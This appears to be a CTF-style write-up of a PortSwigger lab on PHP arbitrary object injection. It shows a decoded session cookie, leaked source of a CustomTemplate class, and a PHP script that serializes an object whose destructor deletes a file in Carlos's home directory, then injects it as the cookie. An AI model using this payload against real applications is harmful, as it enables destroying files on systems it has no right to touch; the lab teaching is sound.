Arbitrary object injection in PHP | Jan 10, 2023
Introduction
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Arbitrary object injection in PHP! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★★☆☆☆☆☆☆☆☆
Background
This lab uses a serialization-based session mechanism and is vulnerable to arbitrary object injection as a result. To solve the lab, create and inject a malicious serialized object to delete the morale.txt
file from Carlos’s home directory. You will need to obtain source code access to solve this lab.
You can log in to your own account using the following credentials: wiener:peter
Exploitation
Login as user wiener
:
Burp Suite HTTP history:
When we successfully logged in, it’ll set a new session cookie.
URL decoded:
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ6eTlwcGwxMXF0c3FpZWR6N2h3bWZiamR3eWdlcDUxZiI7fQ==
As you can see, the session cookie’s last 2 characters are =
, which is base64’s padding character.
Let’s base64 decode that:
┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Insecure-Deserialization]
└─# echo 'Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ6eTlwcGwxMXF0c3FpZWR6N2h3bWZiamR3eWdlcDUxZiI7fQ==' | base64 -d
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"zy9ppl11qtsqiedz7hwmfbjdwygep51f";}
Also, in the Burp Suite’s site map, I found there is a PHP file called CustomTemplate.php
:
Let’s send that request to Burp Suite Repeater:
In here, we can try to read the source code:
The ~
worked!
/libs/CustomTemplate.php
:
<?php
class CustomTemplate {
private $template_file_path;
private $lock_file_path;
public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
$this->lock_file_path = $template_file_path . ".lock";
}
private function isTemplateLocked() {
return file_exists($this->lock_file_path);
}
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lock_file_path, "") === false) {
throw new Exception("Could not write to " . $this->lock_file_path);
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
}
?>
The PHP comment looks sussy:
function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
}
In here, we see the CustomTemplate
class has a magic method called __destruct
. This method will the unlink()
method on the local_file_path
attribute, which will then delete the file on $template_file_path.lock
.
But how can we abuse that?
The __destruct
magic method will be automatically called.
That being said, we can add the CustomTemplate
object to the serialized PHP object, which will then delete morale.txt
file from Carlos’s home directory!
<?php
class CustomTemplate
{
function __construct()
{
$this->lock_file_path = "/home/carlos/morale.txt";
}
}
$CustomTemplate = new CustomTemplate;
$serializedCustomTemplate = serialize($CustomTemplate);
echo "[+] Serialized: \n";
var_dump($serializedCustomTemplate);
echo "[+] Base64 encoded: \n" . base64_encode($serializedCustomTemplate);
?>
┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Insecure-Deserialization]
└─# php serialization.php
[+] Serialized:
string(79) "O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}"
[+] Base64 encoded:
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MTQ6ImxvY2tfZmlsZV9wYXRoIjtzOjIzOiIvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7fQ==
Now, we can copy the base64 encoded string, and paste it to the session cookie:
Then refresh the page:
Nice!
What we’ve learned:
- Arbitrary object injection in PHP